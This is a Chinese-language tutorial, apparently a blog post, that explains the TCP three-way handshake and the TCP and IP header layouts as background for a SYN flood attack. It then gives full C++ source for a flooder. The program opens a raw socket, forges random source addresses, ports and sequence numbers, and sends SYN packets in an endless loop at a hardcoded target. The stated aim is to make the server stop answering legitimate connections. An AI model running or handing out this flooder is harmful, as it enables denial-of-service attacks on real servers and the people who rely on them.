在写代码之前我们需要现来理解下TCP/IP的三次握手以及TCP/IP的包头信息,由此我们可以了解SYN洪水攻击的原理。
1.TCP/IP三次握手及SYN攻击原理
TCP是主机对主机层的传输控制协议,提供可靠的连接服务,采用三次握手确认建立一个连接:
位码即tcp标志位,有6种标示:SYN(synchronous建立联机) ACK(acknowledgement 确认) PSH(push传送) FIN(finish结束) RST(reset重置) URG(urgent紧急)
Sequence number(顺序号码) Acknowledge number(确认号码)
第一次握手:主机A发送位码为syn=1,随机产生seq number=1234567的数据包到服务器,主机B由SYN=1知道,A要求建立联机;
第二次握手:主机B收到请求后要确认联机信息,向A发送ack number=(主机A的seq+1),syn=1,ack=1,随机产生seq=7654321的包
第三次握手:主机A收到后检查ack number是否正确,即第一次发送的seq number+1,以及位码ack是否为1,若正确,主机A会再发送ack number=(主机B的seq+1),ack=1,主机B收到后确认seq值与ack=1则连接建立成功。
完成三次握手,主机A与主机B开始传送数据。
在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接。
第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认;
第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器 进入SYN_RECV状态; 第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入 ESTABLISHED状态,完成三次握手。 完成三次握手,客户端与服务器开始传送数据.
实例:
IP 192.168.1.116.3337 > 192.168.1.123.7788: S 3626544836:3626544836
IP 192.168.1.123.7788 > 192.168.1.116.3337: S 1739326486:1739326486 ack 3626544837
IP 192.168.1.116.3337 > 192.168.1.123.7788: ack 1739326487,ack 1
第一次握手:192.168.1.116发送位码syn=1,随机产生seq number=3626544836的数据包到192.168.1.123,192.168.1.123由SYN=1知道192.168.1.116要求建立联机;
第二次握手:192.168.1.123收到请求后要确认联机信息,向192.168.1.116发送ack number=3626544837,syn=1,ack=1,随机产生seq=1739326486的包;
第三次握手:192.168.1.116收到后检查ack number是否正确,即第一次发送的seq number+1,以及位码ack是否为1,若正确,192.168.1.116会再发送ack number=1739326487,ack=1,192.168.1.123收到后确认seq=seq+1,ack=1则连接建立成功。
如果想要进行对服务器的SYN攻击,我们要做的就是发送大量的SYN=1并且伪造了源IP的TCP/IP包,服务器接受到连接请求后会发送上面第二次握手说到的syn确认包并进入SYN_RECV状态,而我们此时不对这些确认包进行处理,服务器则要花费一定时间等待由此会使正常的连接不被响应,达到我们的攻击目的。
2.TCP/IP报头分析
TCP报头结构为:
源端口(16) |
目的端口(16) |
||
序列号(32) |
|||
确认号(32) |
|||
TCP偏移量(4) |
保留(6) |
标志(6) |
窗口(16) |
校验和(16) |
紧急(16) |
||
选项(0或32) |
|||
数据(可变) |
以下代码是UNIX下ip报头的结构体定义
1 struct iphdr
2 {
3 #if __BYTE_ORDER == __LITTLE_ENDIAN
4 unsigned int ihl:4;
5 unsigned int version:4;
6 #elif __BYTE_ORDER == __BIG_ENDIAN
7 unsigned int version:4;
8 unsigned int ihl:4;
9 #else
10 # error "Please fix <bits/endian.h>"
11 #endif
12 u_int8_t tos;
13 u_int16_t tot_len;
14 u_int16_t id;
15 u_int16_t frag_off;
16 u_int8_t ttl;
17 u_int8_t protocol;
18 u_int16_t check;
19 u_int32_t saddr;
20 u_int32_t daddr;
21 /*The options start here. */
22 };
以下代码是UNIX下TCP报头的定义
struct tcphdr
{
u_int16_t th_sport; /* source port */
u_int16_t th_dport; /* destination port */
tcp_seq th_seq; /* sequence number */
tcp_seq th_ack; /* acknowledgement number */
# if __BYTE_ORDER == __LITTLE_ENDIAN
u_int8_t th_x2:4; /* (unused) */
u_int8_t th_off:4; /* data offset */
# endif
# if __BYTE_ORDER == __BIG_ENDIAN
u_int8_t th_off:4; /* data offset */
u_int8_t th_x2:4; /* (unused) */
# endif
u_int8_t th_flags;
# define TH_FIN 0x01
# define TH_SYN 0x02
# define TH_RST 0x04
# define TH_PUSH 0x08
# define TH_ACK 0x10
# define TH_URG 0x20
u_int16_t th_win; /* window */
u_int16_t th_sum; /* checksum */
u_int16_t th_urp; /* urgent pointer */
};
我们需要做的是填充这些报头,其进行校验然后封装成包发向服务器。
4.psd.h
/** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* FAKE TCP HEADER
* FOR CHECKSUM
*
* * * * * ** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * **/
#ifndef PSD_H
#define PSD_H
#include <stdint.h>
struct tcp_psd{
uint32_t sourceip;//源IP地址
uint32_t destip;//目的IP地址
int8_t mbz;//置空(0)
int8_t ptcl;//协议类型(IPPROTO_TCP)
uint16_t tcpl;//TCP头的长度(单位:字节)
};
#endif
5.main.cpp
#include <assert.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sstream>
#include "psd.h"
#define INVALID_SOCKET -1
#define SOCKET_ERROR -1
#define FAILED -1
#define SUCCESS 0;
typedef struct iphdr IP_HEADER;
typedef struct tcphdr TCP_HEADER;
typedef struct tcp_psd PSD_HEADER;
int BuildPacket(char *buffer, size_t size); //填写TCP包头
int SetPacket(char *buffer, uint32_t addrTarget, uint32_t addrFake, uint16_t id, uint16_t portTarget, uint16_t portFake, uint32_t isn); //修改TCP包头
uint16_t GetCheckSum(uint16_t *buffer, int size); //校验和函数
template <typename T>
T GetRandom();
template <typename T>
T stringTonum(char* str);
int main()
{
char *szTargetHost = "10.243.25.55";
char *szTargetPort = "8080";
const int BUFFERSIZE = 2048;
uint32_t daddr = inet_addr(szTargetHost);
uint16_t dport = stringTonum<uint16_t>(szTargetPort);
if(daddr == INADDR_NONE
|| dport == 0)
{
return FAILED;
}
dport = htons(dport);
srand(time(NULL));
int socketRaw = int(NULL);
socketRaw = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
if(socketRaw == INVALID_SOCKET)
{
perror("Create Socket Failed.");
return FAILED;
}
int flag = 1;
if(setsockopt(socketRaw, IPPROTO_IP, IP_HDRINCL, (char*)&flag,sizeof(int)) == SOCKET_ERROR)
{
perror("set socket option IP_HDRINCL failed.");
return FAILED;
}
struct timeval tvTimeOut;
tvTimeOut.tv_sec = 10;
tvTimeOut.tv_usec = 0;
if(setsockopt(socketRaw, SOL_SOCKET, SO_SNDTIMEO, (char*)&tvTimeOut, sizeof(struct timeval)) == SOCKET_ERROR)
{
perror("set socket option IP_HDRINCL failed.");
return FAILED;
}
char buffer[BUFFERSIZE];
BuildPacket(buffer,sizeof(buffer));
uint32_t saddr;
uint16_t sport;
uint16_t ipid;
uint32_t isn;
// uint32_t saddr;
// uint16_t sport;
// uint32_t ipid,isn;
struct sockaddr_in ra;
ra.sin_family = AF_INET;
ra.sin_port = dport;
ra.sin_addr.s_addr = daddr;
socklen_t ralen = sizeof(struct sockaddr_in);
int packetlen = sizeof(IP_HEADER) + sizeof(TCP_HEADER);
while(true)
{
for(int i=0; i< 10*1024; i++)
{
saddr = GetRandom<uint32_t>();
sport = GetRandom<uint16_t>();
ipid = GetRandom<uint32_t>();
isn = GetRandom<uint32_t>();
SetPacket(buffer,daddr,saddr,ipid,dport,sport,isn);
sendto(socketRaw,buffer,packetlen,0,(struct sockaddr*)&ra,ralen);
}
puts("1024..");
}
close(socketRaw);
return 0;
}
int BuildPacket(char *buffer, size_t size)
{
assert(buffer != NULL && size > sizeof(IP_HEADER) + sizeof(TCP_HEADER));
IP_HEADER *ipHeader;
//PSD_HEADER psdHeader;
TCP_HEADER *tcpHeader;
ipHeader = (IP_HEADER*)buffer;
ipHeader->tos = 0;
ipHeader->ihl = (sizeof(IP_HEADER)/sizeof(int));
ipHeader->version = 4;
ipHeader->tot_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
ipHeader->protocol = IPPROTO_TCP;
ipHeader->ttl = 128;
ipHeader->frag_off = 0;
tcpHeader = (TCP_HEADER*)(buffer + sizeof(IP_HEADER));
tcpHeader->ack_seq = 0;
tcpHeader->doff = (sizeof(TCP_HEADER)/sizeof(int));
tcpHeader->res1 = 0;
tcpHeader->res2 = 0;
tcpHeader->urg = 0;
tcpHeader->ack = 0;
tcpHeader->psh = 0;
tcpHeader->rst = 0;
tcpHeader->syn = 1;
tcpHeader->fin = 0;
tcpHeader->window = htons(0x100);
tcpHeader->urg_ptr = 0;
return SUCCESS;
}
int SetPacket(char *buffer, uint32_t addrTarget, uint32_t addrFake, uint16_t id, uint16_t portTarget, uint16_t portFake, uint32_t isn)
{
assert(buffer != NULL);
char buf[2048];
PSD_HEADER *psdHeader = (PSD_HEADER *)buf;
TCP_HEADER *tcpHeader = (TCP_HEADER *)(buf + sizeof(PSD_HEADER));
memcpy(tcpHeader,buffer+sizeof(IP_HEADER),sizeof(TCP_HEADER));
psdHeader->mbz = 0;
psdHeader->sourceip = addrFake;
psdHeader->destip = addrTarget;
psdHeader->ptcl = IPPROTO_TCP;
psdHeader->tcpl = htons(sizeof(TCP_HEADER));
tcpHeader->source = portFake;
tcpHeader->dest = portTarget;
tcpHeader->seq = isn;
tcpHeader->check = 0;
tcpHeader->check = GetCheckSum((uint16_t*)buf,sizeof(PSD_HEADER)+sizeof(TCP_HEADER));
memcpy(buffer+sizeof(IP_HEADER),tcpHeader,sizeof(TCP_HEADER));
IP_HEADER *ipHeader = (IP_HEADER *)buffer;
ipHeader->id = id;
ipHeader->saddr = addrFake;
ipHeader->daddr = addrTarget;
ipHeader->check = 0;
ipHeader->check = GetCheckSum((uint16_t*)buffer,sizeof(IP_HEADER)+sizeof(TCP_HEADER));
return SUCCESS;
}
uint16_t GetCheckSum(uint16_t *buffer, int size)
{
unsigned long cksum=0;
while (size > 1)
{
cksum += *buffer++;
size -= sizeof(uint16_t);
}
if (size)
{
cksum += *(uint8_t*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (uint16_t)(~cksum);
}
template <typename T>
T stringTonum(char* str)
{
T rslt = 0;
std::stringstream ss(str);
ss >> rslt ;
return rslt;
}
template <typename T>
T GetRandom()
{
uint32_t rslt = 0;
rslt = rand();
switch(sizeof(T))
{
case 4:
//rslt = rslt & 0xFFFFFFFF;
break;
case 2:
rslt = rslt & 0xFFFF;
break;
case 1:
rslt = rslt & 0xFF;
break;
default:
assert(false);
break;
}
return (T) rslt;
}